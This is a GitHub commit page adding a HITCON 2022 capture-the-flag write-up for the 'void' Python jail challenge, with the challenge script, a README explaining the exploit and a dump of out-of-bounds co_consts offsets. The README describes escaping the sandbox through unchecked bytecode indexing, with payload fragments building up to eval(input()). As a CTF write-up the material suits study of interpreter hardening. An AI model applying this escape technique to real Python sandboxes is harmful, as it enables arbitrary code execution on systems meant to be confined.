Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 76e36fd

Browse files
author
braindead
committed
hitcon-2022: add "void"
1 parent 95b7183 commit 76e36fd

File tree

5 files changed

+304
-0
lines changed

5 files changed

+304
-0
lines changed

‎2022/hitcon-2022/void/README.md

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
The challenge accepts an arbitrary python expression, but replaces `co_consts` and `co_names`
2+
with the empty tuple. That's an excelent way to cause memory corruption, as CPython doesn't
3+
do bound checks when bytecode indexes into them. Furthermore, the empty tuple `()` and a bunch
4+
of other objects after it are allocated in heap during startup all at predictable offsets.
5+
6+
# Building Blocks
7+
8+
- We can load from `co_consts` from an arbitrary offset using code like: `[] and (0/0+1+2+...) or 2`.
9+
This will effectively do `co_consts[2]`. `[] and` is there to prevent the `+` from being actually
10+
evaluated and the initial `0/0` is needed to prevent the AST optimizer from folding constants.
11+
12+
- Loading from `co_names` is analogous: `[] and (a+b+c+...) or c`.
13+
14+
- We can get booleans with `not []` and `not not []`.
15+
16+
- We can get integer constants by doing arithmetic on booleans: `(not[])+(not[])` evaluates to 2.
17+
18+
- We can get local variables using the walrus operator: `(foobar:=123) and foobar` evaluates to 123.
19+
20+
- We can get string constants by finding them in `co_consts`, and slicing/adding them as needed.
21+
Also we can evaluate `f'{whatever expr}'`.
22+
23+
- Function calls and slicing/indexing work as usual.
24+
25+
- We can emulate `getattr(x, y)` with `[*object.__getattribute__(x,"__dict__").values()][1337]`,
26+
where `1337` is some integer constant. This way we don't need many string constants.
27+
28+
# The exploit
29+
30+
First off, we emit `[]and(倀+倁+倂+倃+...)or[]and(0/0+1+2+3+...)`. This sets us up with a bunch of indexes
31+
into `co_names` and `co_consts` (the CJK chars are parsed as identifiers, we use CJK to make our
32+
payload as short as possible).
33+
34+
Then we create and save to locals first few powers of two (to create integer constants later):
35+
36+
```
37+
(厧:=not[[]])or(厨:=(not[])+厧)and(厩:=厨+厨)and(厪:=厩+厩)and(厫:=厪+厪)and ...
38+
```
39+
40+
Then we effectively evaluate `eval(input())`. The intermediate steps leading to that are best explained
41+
by reading `generate.py`. The final payload is in `code.py`.

‎2022/hitcon-2022/void/chal.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#!/usr/local/bin/python3
2+
3+
source = input('>>> ')
4+
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
5+
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
6+
print(ascii(eval(code, {'__builtins__': {}})))
7+
print('ok')

‎2022/hitcon-2022/void/co_consts.txt

Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,181 @@
1+
0 >>>
2+
4 >>> <class 'tuple'>
3+
6 >>> <class 'object'>
4+
42 >>> <class 'int'>
5+
52 >>> <class 'staticmethod'>
6+
53 >>> <built-in method maketrans of type object at 0x7ff7e4d44a40>
7+
65 >>> <built-in method maketrans of type object at 0x7f15df745920>
8+
150 >>> <class 'dict'>
9+
156 >>> <class 'dict_keys'>
10+
162 >>> <class 'dict_items'>
11+
168 >>> <class 'dict_values'>
12+
191 >>> <built-in method maketrans of type object at 0x7fa1eef5e920>
13+
288 >>> <class 'builtin_function_or_method'>
14+
456 >>> <class 'BaseException'>
15+
462 >>> <class 'Exception'>
16+
508 >>> <class 'str'>
17+
620 >>> <class 'bytes'>
18+
759 >>> <% object at 0x7fd4eba37630>
19+
762 >>> <class 'frozenset'>
20+
773 >>> 2
21+
775 >>> 3
22+
792 >>> 'sys'
23+
793 >>> 'implementation'
24+
794 >>> 'cache_tag'
25+
795 >>> 'NotImplementedError'
26+
796 >>> '_os'
27+
797 >>> 'fspath'
28+
798 >>> '_path_split'
29+
799 >>> 'pycache_prefix'
30+
800 >>> 'rstrip'
31+
801 >>> 'path_separators'
32+
802 >>> 'startswith'
33+
803 >>> 'path_sep'
34+
804 >>> 'len'
35+
805 >>> '_PYCACHE'
36+
806 >>> 'ValueError'
37+
807 >>> 'count'
38+
808 >>> 'rsplit'
39+
809 >>> '_OPT'
40+
810 >>> 'isalnum'
41+
811 >>> 'partition'
42+
812 >>> '_path_join'
43+
813 >>> 'SOURCE_SUFFIXES'
44+
844 >>> < object at 0x7eff9d5f2030>
45+
846 >>> <class 'set'>
46+
853 >>> ':/'
47+
932 >>> 'rpartition'
48+
933 >>> '_path_stat'
49+
934 >>> 'path'
50+
936 >>> 'getcwd'
51+
937 >>> 'st_mtime'
52+
938 >>> 'OSError'
53+
939 >>> '_path_mtime'
54+
940 >>> '_fill_cache'
55+
941 >>> '_relax_case'
56+
942 >>> '_relaxed_path_cache'
57+
943 >>> 'lower'
58+
944 >>> '_path_cache'
59+
946 >>> '_loaders'
60+
947 >>> '_path_isfile'
61+
948 >>> '_get_spec'
62+
949 >>> '_path_isdir'
63+
951 >>> '_bootstrap'
64+
952 >>> '_verbose_message'
65+
953 >>> 'ModuleSpec'
66+
954 >>> 'submodule_search_locations'
67+
988 >>> 'Setup the path-based importers for importlib by importing needed\n built-in modules and injecting them into the global namespace.\n\n Other components are extracted from the core bootstrap module.\n\n '
68+
989 >>> 'posix'
69+
990 >>> '/'
70+
991 >>> 'nt'
71+
992 >>> '\\'
72+
993 >>> <code object <genexpr> at 0x7fb225dc80e0, file "<frozen importlib._bootstrap_external>", line 1672>
73+
994 >>> '_setup.<locals>.<genexpr>'
74+
995 >>> 0
75+
996 >>> 'importlib requires posix or nt'
76+
1000 >>> ''
77+
1001 >>> '_pathseps_with_colon'
78+
1002 >>> <code object <setcomp> at 0x7f2eb0247190, file "<frozen importlib._bootstrap_external>", line 1689>
79+
1003 >>> '_setup.<locals>.<setcomp>'
80+
1004 >>> ('_io', '_warnings', 'marshal')
81+
1005 >>> 'winreg'
82+
1007 >>> '.pyw'
83+
1008 >>> '_d.pyd'
84+
1009 >>> True
85+
1010 >>> None
86+
1015 >>> < object at 0x7f4d783585e0>
87+
1016 >>> < object at 0x7fcd7c9585e0>
88+
1527 >>> <' object at 0x7f8bbdf58600>
89+
1528 >>> <' object at 0x7efd02b58600>
90+
1544 >>> <class 'weakcallableproxy'>
91+
1576 >>> <class 'weakproxy'>
92+
1662 >>> <class 'getset_descriptor'>
93+
1664 >>> 'real'
94+
1680 >>> 'imag'
95+
1696 >>> 'numerator'
96+
1712 >>> 'denominator'
97+
1744 >>> <class 'bool'>
98+
2039 >>> < object at 0x7f369f758610>
99+
2040 >>> < object at 0x7f655af58610>
100+
2046 >>> <class 'wrapper_descriptor'>
101+
2047 >>> <class 'weakref'>
102+
2048 >>> '__ne__'
103+
2054 >>> <
104+
object at 0x7f8ba145a030>
105+
2058 >>> '__gt__'
106+
2068 >>> '__ge__'
107+
2078 >>> '__init__'
108+
2096 >>> <class 'classmethod_descriptor'>
109+
2098 >>> '__class_getitem__'
110+
2128 >>> '__repr__'
111+
2138 >>> '__call__'
112+
2148 >>> '__str__'
113+
2158 >>> '__getattribute__'
114+
2168 >>> '__setattr__'
115+
2178 >>> '__delattr__'
116+
2188 >>> '__lt__'
117+
2198 >>> '__le__'
118+
2208 >>> '__eq__'
119+
2248 >>> '__iter__'
120+
2258 >>> '__next__'
121+
2268 >>> '__add__'
122+
2278 >>> '__radd__'
123+
2288 >>> '__sub__'
124+
2298 >>> '__rsub__'
125+
2308 >>> '__mul__'
126+
2318 >>> '__rmul__'
127+
2328 >>> '__mod__'
128+
2338 >>> '__rmod__'
129+
2348 >>> '__divmod__'
130+
2358 >>> '__rdivmod__'
131+
2368 >>> '__pow__'
132+
2378 >>> '__rpow__'
133+
2388 >>> '__neg__'
134+
2398 >>> '__pos__'
135+
2408 >>> '__abs__'
136+
2418 >>> '__bool__'
137+
2428 >>> '__invert__'
138+
2438 >>> '__lshift__'
139+
2448 >>> '__rlshift__'
140+
2458 >>> '__rshift__'
141+
2468 >>> '__rrshift__'
142+
2478 >>> '__and__'
143+
2488 >>> '__rand__'
144+
2498 >>> '__xor__'
145+
2508 >>> '__rxor__'
146+
2518 >>> '__or__'
147+
2528 >>> '__ror__'
148+
2533 >>> <
149+
object at 0x7f04c8611030>
150+
2538 >>> '__int__'
151+
2551 >>> < object at 0x7fb5e7158610>
152+
2552 >>> < object at 0x7f8c5c958610>
153+
2560 >>> '__float__'
154+
2564 >>> <slot wrapper '__repr__' of 'weakcallableproxy' objects>
155+
2566 >>> <
156+
object at 0x7fa9752c0030>
157+
2570 >>> '__iadd__'
158+
2580 >>> '__isub__'
159+
2590 >>> '__imul__'
160+
2600 >>> '__imod__'
161+
2610 >>> '__ipow__'
162+
2620 >>> '__ilshift__'
163+
2630 >>> '__irshift__'
164+
2640 >>> '__iand__'
165+
2650 >>> '__ixor__'
166+
2660 >>> '__ior__'
167+
2670 >>> '__floordiv__'
168+
2680 >>> '__rfloordiv__'
169+
2690 >>> '__truediv__'
170+
2700 >>> '__rtruediv__'
171+
2710 >>> '__ifloordiv__'
172+
2720 >>> '__itruediv__'
173+
2730 >>> '__index__'
174+
2740 >>> '__matmul__'
175+
2750 >>> '__rmatmul__'
176+
2760 >>> '__imatmul__'
177+
2770 >>> '__len__'
178+
2780 >>> '__getitem__'
179+
2790 >>> '__setitem__'
180+
2800 >>> '__delitem__'
181+
2810 >>> '__contains__'

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /